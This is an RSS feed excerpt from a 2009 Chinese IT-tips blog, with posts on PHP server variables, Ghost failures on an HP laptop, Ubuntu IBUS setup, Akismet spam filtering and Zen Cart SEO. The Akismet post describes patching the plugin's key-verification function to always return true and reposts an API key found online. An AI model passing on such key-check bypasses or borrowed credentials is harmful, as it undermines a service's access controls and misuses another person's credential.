<p>“argv”
传递给该脚本的参数。当脚本运行在命令行方式时，argv 变量传递给程序 [...]]]></description>
			<content:encoded><![CDATA[<p>预定义变量<br />
服务器变量：$_SERVER<br />
注: 在 PHP 4.1.0 及以后版本使用。之前的版本，使用 $HTTP_SERVER_VARS。 </p>
<p>$_SERVER 是一个包含诸如头部(headers)、路径(paths)和脚本位置(script locations)的数组。数组的实体由 web 服务器创建。不能保证所有的服务器都能产生所有的信息；服务器可能忽略了一些信息，或者产生了一些未在下面列出的新的信息。这意味着，大量的这些变量在 CGI 1.1 specification 中说明，所以您应该仔细研究它。 </p>
<p>这是一个“superglobal”，或者可以描述为自动全局变量。这只不过意味这它在所有的脚本中都有效。在函数或方法中您不需要使用 global $_SERVER; 访问它，就如同使用 $HTTP_SERVER_VARS 一样。 </p>
<p>$HTTP_SERVER_VARS 包含着同样的信息，但是不是一个自动全局变量。（注意： $HTTP_SERVER_VARS 和 $_SERVER 是不同的变量，PHP 处理它们的方式不同。） </p>
<p>如果设置了 register_globals 指令，这些变量也在所有脚本中可用；也就是，分离了 $_SERVER 和 $HTTP_SERVER_VARS 数组。相关信息，请参阅安全的相关章节 使用 Register Globals。这些单独的全局变量不是自动全局变量。 </p>
<p>您或许会发现下面列出的某些 $_SERVER 元素并不可用。注意，如果以命令行方式运行 PHP，下面列出的元素几乎没有有效的（或是没有任何实际意义的）。 </p>
<p>“PHP_SELF”<br />
当前正在执行脚本的文件名，与 document root相关。举例来说，在URL地址为 http://example.com/test.php/foo.bar 的脚本中使用 $_SERVER['PHP_SELF'] 将会得到 /test.php/foo.bar 这个结果。<br />
<span id="more-986"></span><br />
如果 PHP 以命令行方式运行，该变量无效。 </p>
<p>“argv”<br />
传递给该脚本的参数。当脚本运行在命令行方式时，argv 变量传递给程序 C 语言样式的命令行参数。当调用 GET 方法时，该变量包含请求的数据。 </p>
<p>“argc”<br />
包含传递给程序的命令行参数的个数（如果运行在命令行模式）。 </p>
<p>“GATEWAY_INTERFACE”<br />
服务器使用的 CGI 规范的版本。例如，“CGI/1.1”。 </p>
<p>&#8216;SERVER_NAME&#8217;<br />
当前运行脚本所在服务器主机的名称。如果该脚本运行在一个虚拟主机上，该名称是由那个虚拟主机所设置的值决定。 </p>
<p>&#8216;SERVER_SOFTWARE&#8217;<br />
服务器标识的字串，在响应请求时的头部中给出。 </p>
<p>“SERVER_PROTOCOL”<br />
请求页面时通信协议的名称和版本。例如，“HTTP/1.0”。 </p>
<p>“REQUEST_METHOD”<br />
访问页面时的请求方法。例如：“GET”、“HEAD”，“POST”，“PUT”。 </p>
<p>“QUERY_STRING”<br />
查询(query)的字符串。 </p>
<p>“DOCUMENT_ROOT”<br />
当前运行脚本所在的文档根目录。在服务器配置文件中定义。 </p>
<p>“HTTP_ACCEPT”<br />
当前请求的 Accept: 头部的内容。 </p>
<p>“HTTP_ACCEPT_CHARSET”<br />
当前请求的 Accept-Charset: 头部的内容。例如：“iso-8859-1,*,utf-8”。 </p>
<p>“HTTP_ACCEPT_ENCODING”<br />
当前请求的 Accept-Encoding: 头部的内容。例如：“gzip”。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
“HTTP_ACCEPT_LANGUAGE”<br />
当前请求的 Accept-Language: 头部的内容。例如：“en”。 </p>
<p>“HTTP_CONNECTION”<br />
当前请求的 Connection: 头部的内容。例如：“Keep-Alive”。 </p>
<p>“HTTP_HOST”<br />
当前请求的 Host: 头部的内容。 </p>
<p>“HTTP_REFERER”<br />
链接到当前页面的前一页面的 URL 地址。不是所有的用户代理（浏览器）都会设置这个变量，而且有的还可以手工修改 HTTP_REFERER。因此，这个变量不总是正确真实的。 </p>
<p>“HTTP_USER_AGENT”<br />
当前请求的 User_Agent: 头部的内容。该字符串表明了访问该页面的用户代理的信息。一个典型的例子是：Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586)。您也可以使用 get_browser() 得到这个信息。 </p>
<p>“REMOTE_ADDR”<br />
正在浏览当前页面用户的 IP 地址。 </p>
<p>“REMOTE_PORT”<br />
用户连接到服务器时所使用的端口。 </p>
<p>“SCRIPT_FILENAME”<br />
当前执行脚本的绝对路径名。 </p>
<p>“SERVER_ADMIN”<br />
该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上，则该值是那个虚拟主机的值。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
“SERVER_PORT”<br />
服务器所使用的端口。默认为“80”。如果你使用 SSL 安全连接，则这个值为您所设置的 HTTP 端口。 </p>
<p>“SERVER_SIGNATURE”<br />
包含服务器版本和虚拟主机名的字符串。 </p>
<p>“PATH_TRANSLATED”<br />
当前脚本所在文件系统（不是文档根目录）的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 </p>
<p>“SCRIPT_NAME”<br />
包含当前脚本的路径。这在页面需要指向自己时非常有用。 </p>
<p>“REQUEST_URI”<br />
访问此页面所需的 URI。例如，“/index.html”。 </p>
<p>“PHP_AUTH_USER”<br />
当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的用户名。 </p>
<p>“PHP_AUTH_PW”<br />
当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是用户输入的密码。 </p>
<p>“PHP_AUTH_TYPE”<br />
当 PHP 运行在 Apache 模块方式下，并且正在使用 HTTP 认证功能，这个变量便是认证的类型。 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/986.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解决与明白HP541笔记本电脑不能ghost的问题。</title>
		<link>http://www.evanjiang.net.cn/archives/971.html</link>
		<comments>http://www.evanjiang.net.cn/archives/971.html#comments</comments>
		<pubDate>Thu, 30 Apr 2009 02:27:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=971</guid>
		<description><![CDATA[<p>昨天，公司用的装了雨林木风的XP系统HP541笔记本电脑中毒了，无法正常关机与重启，那只好考虑重装，打算装深度XP，但无论怎样试，在DOS就是不能GHOST。进到PE，反而可以运行GHOST来装XP，也就是不能在DOS状态下安装XP。。。很奇怪。上网搜了搜，发现也有购买HP541笔记本电脑的用户也遇到跟俺一样的问题。初步判断是可能HP541笔记本电脑的问题。。。</p>
<p>下面为上网搜索到的内容：</p>
<p>P 541 不能GHOST，为何 [已解决]</p>
<p>　　最近购买HP 541 笔记本，无论是U盘、光盘启动，均不能运行GHOST，在DOS下一运行GHOST就死机，但在PE或XP下可以正常运行GHOST32中，不知什么原因，请高手帮忙。
</p>
<p>在config.sys中加载UMBPCI或EMM386，成功运行GHOST。另外，用xmsdsk虚拟内存盘出错的，也不妨试试，有可能会在DOS下用xmsdsk成功虚拟内存盘（若不成功，删除MSDOS.SYS后再试）。但是，加载后用xmsdsk虚拟内存盘有待高手进一步研究，如何提高成功率。







</p>
<p>询问HP工程师，答复是与GHOST不兼容，目前还无法解决。试过TIDOS、PQDI，可以运行，但速度不如GHOST，也没有GHOST普遍，感觉不如GHOST顺手。







</p>
]]></description>
			<content:encoded><![CDATA[<p>昨天，公司用的装了雨林木风的XP系统HP541笔记本电脑中毒了，无法正常关机与重启，那只好考虑重装，打算装深度XP，但无论怎样试，在DOS就是不能GHOST。进到PE，反而可以运行GHOST来装XP，也就是不能在DOS状态下安装XP。。。很奇怪。上网搜了搜，发现也有购买HP541笔记本电脑的用户也遇到跟俺一样的问题。初步判断是可能HP541笔记本电脑的问题。。。</p>
<p>下面为上网搜索到的内容：</p>
<p>P 541 不能GHOST，为何 [已解决]</p>
<p>　　最近购买HP 541 笔记本，无论是U盘、光盘启动，均不能运行GHOST，在DOS下一运行GHOST就死机，但在PE或XP下可以正常运行GHOST32中，不知什么原因，请高手帮忙。<br />
<span id="more-971"></span></p>
<p>在config.sys中加载UMBPCI或EMM386，成功运行GHOST。另外，用xmsdsk虚拟内存盘出错的，也不妨试试，有可能会在DOS下用xmsdsk成功虚拟内存盘（若不成功，删除MSDOS.SYS后再试）。但是，加载后用xmsdsk虚拟内存盘有待高手进一步研究，如何提高成功率。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>询问HP工程师，答复是与GHOST不兼容，目前还无法解决。试过TIDOS、PQDI，可以运行，但速度不如GHOST，也没有GHOST普遍，感觉不如GHOST顺手。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/971.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ubuntu9.04下安装IBUS中文输入法</title>
		<link>http://www.evanjiang.net.cn/archives/963.html</link>
		<comments>http://www.evanjiang.net.cn/archives/963.html#comments</comments>
		<pubDate>Sun, 26 Apr 2009 14:54:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[debian linux]]></category>
		<category><![CDATA[ubuntu9.04 ibus]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=963</guid>
		<description><![CDATA[<p>昨天，利用星期日休息时间，就想着将手提电脑里的ubuntu8.10升级到4.23后出来的ubuntu9.04，用家里的ADSL MODEM，经过差不多整天的升级。终于升级成功。但升级完成后，发觉IBUS不能用，俺平时用开五笔。没五笔输入，感觉上网，聊天，写博，全都不方便，那没办法，只能是重新安装ibus.俺之前在8.10安装过ibus,也在本博记下安装过程，但俺难得在本博搜索。就直接在GOOGLE里搜索。就搜到下面的参考文档，用了一下，发觉没错误，就直接复制到本博客啦。</p>
<p>1、scim输入法和字体（不是我和scim过不去，是ibus和scim过不去啊）
sudo aptitude purge ~nscim
sudo aptitude install language-support-fonts-zh</p>
<p>2、然后检查源的配置：</p>
<p>sudo gedit /etc/apt/sources.list</p>
<p>3、在软件源中添加：</p>
<p>deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>4、 在命令行安装：</p>
<p>sudo apt-get update
sudo apt-get install ibus-pinyin</p>
<p>sudo apt-get install ibus ibus-pinyin ibus-table</p>
<p>
5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：</p>
<p>sudo im-switch -c</p>
<p>6、重启电脑</p>
<p>7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法。







</p>
<p>下面这篇也是参考网上，是安装IBUS五笔的。觉得也有一定的参考作用。就顺便也拿过来啦。
IBUS是不错的输入法，目前正在使用中。至少在firefox和opera中国版中还没发现问题。</p>
<p>，自己总结了一下我在ubuntu9.04下ibus五笔的安装方法：</p>
<p>1.加PPA源，先导入ibus的pgpkey（不导入key 每次安装都会有安全警示）
代码:
sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 72dbf294b86c9beb7170023321c022aa985e0e11</p>
<p>然后在软件源中添加
代码:
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>关闭时更新软件源
2.安装五笔码表及gtk,qt支持
代码:
sudo apt-get install ibus-table-wubi ibus-gtk ibus-qt4</p>
<p>3. 如果是第一次安装iBus，那么需要设置一下系统的默认输入法：
sudo im-switch -c
4. 注销
5. 在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加五笔输入法。








快捷键：
左shift：中英文切换
右shift：拼音反查，一次只能查一个字，输入拼音后出字时直接按对应数字是输入，按Ctrl+数字反查
ctrl+,：切换单字模式
ctrl+.：切换中英文标点
ctrl+/：切换直接提交模式
ctrl+&#8217;：显示输入统计</p>
<p>另外关于光标自动跟随应该是ibus-gtk和ibut-qt4两个包在起作用。</p>
]]></description>
			<content:encoded><![CDATA[<p>昨天，利用星期日休息时间，就想着将手提电脑里的ubuntu8.10升级到4.23后出来的ubuntu9.04，用家里的ADSL MODEM，经过差不多整天的升级。终于升级成功。但升级完成后，发觉IBUS不能用，俺平时用开五笔。没五笔输入，感觉上网，聊天，写博，全都不方便，那没办法，只能是重新安装ibus.俺之前在8.10安装过ibus,也在本博记下安装过程，但俺难得在本博搜索。就直接在GOOGLE里搜索。就搜到下面的参考文档，用了一下，发觉没错误，就直接复制到本博客啦。</p>
<p>1、scim输入法和字体（不是我和scim过不去，是ibus和scim过不去啊）<br />
sudo aptitude purge ~nscim<br />
sudo aptitude install language-support-fonts-zh</p>
<p>2、然后检查源的配置：</p>
<p>sudo gedit /etc/apt/sources.list</p>
<p>3、在软件源中添加：</p>
<p>deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>4、 在命令行安装：</p>
<p>sudo apt-get update<br />
sudo apt-get install ibus-pinyin</p>
<p>sudo apt-get install ibus ibus-pinyin ibus-table</p>
<p><span id="more-963"></span><br />
5、如果是第一次安装iBus，那么需要设置一下系统的默认输入法：</p>
<p>sudo im-switch -c</p>
<p>6、重启电脑</p>
<p>7、在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加拼音输入法和其它所需的输入法。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
</p>
<p>下面这篇也是参考网上，是安装IBUS五笔的。觉得也有一定的参考作用。就顺便也拿过来啦。<br />
IBUS是不错的输入法，目前正在使用中。至少在firefox和opera中国版中还没发现问题。</p>
<p>，自己总结了一下我在ubuntu9.04下ibus五笔的安装方法：</p>
<p>1.加PPA源，先导入ibus的pgpkey（不导入key 每次安装都会有安全警示）<br />
代码:<br />
sudo apt-key adv &#8211;recv-keys &#8211;keyserver keyserver.ubuntu.com 72dbf294b86c9beb7170023321c022aa985e0e11</p>
<p>然后在软件源中添加<br />
代码:<br />
deb http://ppa.launchpad.net/ibus-dev/ppa/ubuntu jaunty main</p>
<p>关闭时更新软件源<br />
2.安装五笔码表及gtk,qt支持<br />
代码:<br />
sudo apt-get install ibus-table-wubi ibus-gtk ibus-qt4</p>
<p>3. 如果是第一次安装iBus，那么需要设置一下系统的默认输入法：<br />
sudo im-switch -c<br />
4. 注销<br />
5. 在系统提示栏的iBus图标上单击右键，选择“首选项->输入法”，添加五笔输入法。<br />

<!-- Begin alimama Adserver code -->
<script type="text/javascript"><!--
google_ad_client = "pub-8438729971248494";
/* 728x90, ������ 10-2-7 */
google_ad_slot = "4752526529";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<!-- End Alimama Adserver code -->
<br />
快捷键：<br />
左shift：中英文切换<br />
右shift：拼音反查，一次只能查一个字，输入拼音后出字时直接按对应数字是输入，按Ctrl+数字反查<br />
ctrl+,：切换单字模式<br />
ctrl+.：切换中英文标点<br />
ctrl+/：切换直接提交模式<br />
ctrl+&#8217;：显示输入统计</p>
<p>另外关于光标自动跟随应该是ibus-gtk和ibut-qt4两个包在起作用。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/963.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>从网上找到的可用的。wordpress api-keys</title>
		<link>http://www.evanjiang.net.cn/archives/960.html</link>
		<comments>http://www.evanjiang.net.cn/archives/960.html#comments</comments>
		<pubDate>Sun, 26 Apr 2009 14:08:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=960</guid>
		<description><![CDATA[<p>这段时间，发觉博客的垃圾评论越来越多，没办法下，只好正视这个问题，从网上了解到，wordpress自带 akismet插件来防垃圾评论，但wordpress的过渡垃圾留言插件akismet,需要wordpress api key才能激活,wordpress api key需要去wordpress.com注册,然后登录在个人档案中找.但wordpress.com被GFW封锁,国内无法访问,</p>
<p>虽然可以通过代理访问但麻烦.这里有更容易的方法,绕过wordpress api key激活akismet插件.</p>
<p>修改akismet.php里这一行function akismet_verify_key( $key )用//注释掉{…}里面的全部内容，写上一个return true;即可，让校验函数直接返回验证通过。
或者用以下代码替换:
function akismet_verify_key( $key ) {
return true;
}</p>
<p>以上这种方法，俺是从网上搜到的。但试过后，发觉不能用。可能是俺的RP不行吧。所以，也没细究。随后，就在网上找了一个可用的wordpress api key 就是下面这个。
发一个wordpress api key，可用于akismet</p>
<p>key：0981454d222c</p>
<p>但是用了akismet后，效果好像还是不太好，虽然可发防止垃圾邮件不在前台显示，但在后台，还是显示有越来多的垃圾评论。。。看来要想其它办法来解决。</p>
]]></description>
			<content:encoded><![CDATA[<p>这段时间，发觉博客的垃圾评论越来越多，没办法下，只好正视这个问题，从网上了解到，wordpress自带 akismet插件来防垃圾评论，但wordpress的过渡垃圾留言插件akismet,需要wordpress api key才能激活,wordpress api key需要去wordpress.com注册,然后登录在个人档案中找.但wordpress.com被GFW封锁,国内无法访问,</p>
<p>虽然可以通过代理访问但麻烦.这里有更容易的方法,绕过wordpress api key激活akismet插件.</p>
<p>修改akismet.php里这一行function akismet_verify_key( $key )用//注释掉{…}里面的全部内容，写上一个return true;即可，让校验函数直接返回验证通过。<br />
或者用以下代码替换:<br />
function akismet_verify_key( $key ) {<br />
return true;<br />
}</p>
<p>以上这种方法，俺是从网上搜到的。但试过后，发觉不能用。可能是俺的RP不行吧。所以，也没细究。随后，就在网上找了一个可用的wordpress api key 就是下面这个。<br />
发一个wordpress api key，可用于akismet</p>
<p>key：0981454d222c</p>
<p>但是用了akismet后，效果好像还是不太好，虽然可发防止垃圾邮件不在前台显示，但在后台，还是显示有越来多的垃圾评论。。。看来要想其它办法来解决。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/960.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>收集的zencart 相关文档,方便读懂zencart源代码</title>
		<link>http://www.evanjiang.net.cn/archives/957.html</link>
		<comments>http://www.evanjiang.net.cn/archives/957.html#comments</comments>
		<pubDate>Sat, 25 Apr 2009 01:27:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[zencart]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=957</guid>
		<description><![CDATA[<p>众所周知，Zen cart是最好的网店程序之一，而且国内用户是越来越多，但与生俱来的一些程序问题干扰了站内搜索引擎优化，再很多使用方面也存在难以上手的问题。现在我们可以通过插件的应用及2次开发来达到我们更好的通过搜索引擎销售产品的目的。
1>测试首页、频道页、内页的meta属性(主要包括标题、描述与关键词),根据页面匹配性,将关键词有效的布局在每个页面内,最好可以达到自由编写的水平。
2>正确书写robots.txt和站内nofollow属性，屏蔽部分与页面优化冲突或者不应被搜索引擎抓捕的目录和页面。
3>保证多种语言版本网站内容的收录和索引
4> 针对性强的页面静态化并使其具有良好的结构（注意控制路径长度）：以产品和产品目录页面为核心，构建核心明确、相关度高的站内结构;产业页面内容唯一、不与其他页面重复;站内导入链接无误，由于更新等原因失效的错误页面使用404.htm；重要的产品及目录页面在网站大型调整后要保证url不变，已做变化的需要将原路径301永久重定向到新页面；首页确定主域名后，其他域名301定向到主域名。
5>适合中英文等不同语言包的优化插件。
6>生成sitemap或rss feed并提交。
解决方法:安装优化插件
Yahoo! Product Submit Feeder
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=841
用于提交网站产品到雅虎搜索引擎在线营销商务数据库（具体介绍见 </p>
<p>http://searchmarketing.yahoo.com/shopsb/shpsb_specs.php）</p>
<p>Ultimate SEO URLs
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=231
用于站内相关页面地址静态化
Tabbed Products Pro
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=924
用于优化分类及产品页面Meta等标签
Swap Images via MouseOver or Click
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=311
用于提高产品展示的用户体验，简化浏览过程
Simple SEO URL
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=1013
用于转换页面路径形式，以频道形式优化url
EZ pages rel=nofollow attribute
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=944
用于更好的控制页面抓取和索引
css-buttons
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=272
优化模板图片，提高页面浏览速度
Bidhopper Dynalist Generator
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=840
用于提交产品到bidhopper.com（一个基于美国用户的分类产品及相关价格的商业搜索引擎）
Live help 1.2
下载：http://www.zen-cart.cn/forum/topic4466.html
更多seo及用户体验插件详见： </p>
<p>http://www.zen-cart.com/index.php?main_page=index&#038;cPath=40&#038;zenid=fa8f24307bfa5e0824e7da03812d9e50</p>
<p>商业插件： </p>
<p>http://www.magic-seo-url.com/zencart/</p>
<p>介绍见：http://www.magic-seo-url.com/zencart/features.html

经过以上的调整，我们可以使基于Zen Cart程序的站点达到以下水平：
1>保证站内有效页面在各个搜索引擎的索引数量。
2>通过在线统计系统或者分析logfiles得到产品的销售规律。
3>追踪排名变化，根据竞争对手的情况有效调整推广方案。
4>排除重复或类容页面对站点各关键词排名的影响，有效提高页面pr。
5>在流量及排名的稳定的情况下，分析网站用户体验（比如搜索、联系方式、交易方式等）对客户转化率的影响，适时调整。
6>对站外优化提出最大工作量的细节要求，定期定量的完成链接打造等指标。
相关文章
zencart文件上传安全隐患
zencart的cache和images两个目录由于需要保存sessions和图像, 设置了777的完全权限.
但默认的zencart在两个目录都没有设置.htaccess的安全执行机制. 有可能(已经出现有了)被上传黑客程序.
必须在cache和images两个目录里的.htaccess文件里增加以下代码, 防止php程序在这两个目录里执行.</p>
<p>[Files *.php]
Order Deny,Allow
Deny from all
[/Files]</p>
<p>没有.htaccess就新建该文件</p>
<p>我们在对国外的客户销售产品或服务的时候，需要接受国外客户的付款。而国外客户最方便和最常用的方式就是信用卡付款。
但是，如果是直接接受信用卡付款，拿着客户的信用卡号码去银行要钱，对于大部分的普通商家，还是不可行的。
那么中小型商家怎么在自己的网站上接受国外客户的信用卡付款呢？
根据HosteGuide.com的整理，目前一共有3种可行的方法：</p>
<p>1，通过paypal收款，paypal提供了2中收款模式，一种是对方有paypal帐号，通过paypal帐号付款给商家；一种是可以不用注册paypal帐号，直接用信用卡付款。一般常用的visa master jbc等都支持。
这种方式一般没有月服务费和开户费，每笔交易收取手续费3.4%，这是成本最低的接受国外付款的方式。
2，通过国内支付网关的外海版，如 chinabank 和ips都有这样的平台
这种一般需要企业法人申请，各家的政策不同，可以去咨询。
3，通过国外的支付网关，如2checkout等，他们是类似于国内的chinabank和ips这样的第三方支付网关。有月租费和每笔手续费。他们的好处是：相对与ips，国外的客户比较相信这些国际的支付网关。
很多开源的商城系统，都已经包含了这些模块，去申请开户就可以了。（如 zen-cart oscommerce等）</p>
<p>本文所用版本：1.3.8a
ZenCart商品分类可以无限分级，所有分类页面和所有商品页面的title、description、keywords可以自由编辑，特别是商品页面的title有多个自动填充选项，在这一点上对SEO的考虑可以说到了极致。
一，自由编辑商品页面的title、description、keywords。
进入后台，在商品管理–〉商品分类里新建分类和商品后，在商品列表的最右边可以看到类似风轮的图标，黑的为Meta标签未定义，红的为Meta标签已定义，默认为黑色。
很多人用ZenCart建站后，从来没有点击这个风轮，风轮永远是黑色，没有充分利用ZenCart提供的最重要的SEO手段。
黑色意味着页面的title、description、keywords为系统自动生成的。
title为：
商品名称+[商品编号]+PRIMARY_SECTION+TITLE+TERTIARY_SECTION+SITE_TAGLINE
description为：
TITLE+商品名称+[商品编号]+SECONDARY_SECTION+商品简介
keywords为：
商品名称+[商品编号]+所有一级商品分类的名称
注意上面的PRIMARY_SECTION、TITLE、TERTIARY_SECTION、SITE_TAGLINE、SECONDARY_SECTION可以在meta_tags.php文件里自由设定。
问题很明显：title关键词覆盖面窄，description太长，keywords里所有一级商品分类的名称是很离谱的。
然而ZenCart作为国际顶级的网店系统，提供了神奇的风轮。
光点击进风轮是不变红的，必须在随后出现的页面的当前语言的title、description、keywords编辑栏里输入东西才变红，唯有如此，系统才会放弃自动生成的title、description、keywords，而采用人工输入的title、description、 keywords，实现自由编辑。
Ethan非常赞赏的地方是对于最重要的title，ZenCart提供了自动填充的功能，此举应该成为网店系统效仿的榜样。自动填充可以设定是否呈现商品名称、标题、商品编号、价格、标题/标签行，生成title的公式如下：
商品名称+标题+[商品编号]+SECONDARY_SECTION+价格+PRIMARY_SECTION+TITLE+TERTIARY_SECTION+SITE_TAGLINE
注意上面的PRIMARY_SECTION、TITLE、TERTIARY_SECTION、SITE_TAGLINE、 SECONDARY_SECTION可以在meta_tags.php文件里自由设定，标题为下面编辑框里输入的title，标题/标签行就是TITLE /SITE_TAGLINE。
二，自由编辑分类页面的title、description、keywords。
和自由编辑商品页面类似，不过没有自动填充的功能。
Zen Cart文件替代机制
这才是zen cart超强的一个功能啊！
很多用户对zen cart做了自己的修改，非常好！但同时，一些用户修改了很多重要的文件，例如：
/includes/filenames.php
/includes/languages/schinese.php
/includes/languages/schinese/*.php
等等…
友情提示：如果你希望以后的升级更容易，不要修改这些文件！
Zen Cart的文件替代机制的功能非常强，你不需要修改上面的这些文件。
如果你修改了这些文件，下次升级的时候，Zen Cart会覆盖这些文件，你做的修改会丢失。
好了，如何避免这种情况呢？如何使用文件替代机制？
下面，我一步步说明如何使用文件替代机制，而不是去修改Zen Cart的核心文件！
下面的所有例子，都假设你：
1. 使用简体中文。其它语言相应修改就好。
2. 例子使用的模板名字是custom
“custom” 目录名可以是任何名字…. 只是在所有地方都要一致，这样文件替代机制才能正常工作。
你可以命名为:
- [...]]]></description>
			<content:encoded><![CDATA[<p>众所周知，Zen cart是最好的网店程序之一，而且国内用户是越来越多，但与生俱来的一些程序问题干扰了站内搜索引擎优化，再很多使用方面也存在难以上手的问题。现在我们可以通过插件的应用及2次开发来达到我们更好的通过搜索引擎销售产品的目的。<br />
1>测试首页、频道页、内页的meta属性(主要包括标题、描述与关键词),根据页面匹配性,将关键词有效的布局在每个页面内,最好可以达到自由编写的水平。<br />
2>正确书写robots.txt和站内nofollow属性，屏蔽部分与页面优化冲突或者不应被搜索引擎抓捕的目录和页面。<br />
3>保证多种语言版本网站内容的收录和索引<br />
4> 针对性强的页面静态化并使其具有良好的结构（注意控制路径长度）：以产品和产品目录页面为核心，构建核心明确、相关度高的站内结构;产业页面内容唯一、不与其他页面重复;站内导入链接无误，由于更新等原因失效的错误页面使用404.htm；重要的产品及目录页面在网站大型调整后要保证url不变，已做变化的需要将原路径301永久重定向到新页面；首页确定主域名后，其他域名301定向到主域名。<br />
5>适合中英文等不同语言包的优化插件。<br />
6>生成sitemap或rss feed并提交。<br />
解决方法:安装优化插件<br />
Yahoo! Product Submit Feeder<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=841<br />
用于提交网站产品到雅虎搜索引擎在线营销商务数据库（具体介绍见 </p>
<p>http://searchmarketing.yahoo.com/shopsb/shpsb_specs.php）</p>
<p>Ultimate SEO URLs<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=231<br />
用于站内相关页面地址静态化<br />
Tabbed Products Pro<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=924<br />
用于优化分类及产品页面Meta等标签<br />
Swap Images via MouseOver or Click<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=311<br />
用于提高产品展示的用户体验，简化浏览过程<br />
Simple SEO URL<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=1013<br />
用于转换页面路径形式，以频道形式优化url<br />
EZ pages rel=nofollow attribute<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=944<br />
用于更好的控制页面抓取和索引<br />
css-buttons<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=272<br />
优化模板图片，提高页面浏览速度<br />
Bidhopper Dynalist Generator<br />
下载：http://www.zen-cart.com/index.php?main_page=product_contrib_info&#038;products_id=840<br />
用于提交产品到bidhopper.com（一个基于美国用户的分类产品及相关价格的商业搜索引擎）<br />
Live help 1.2<br />
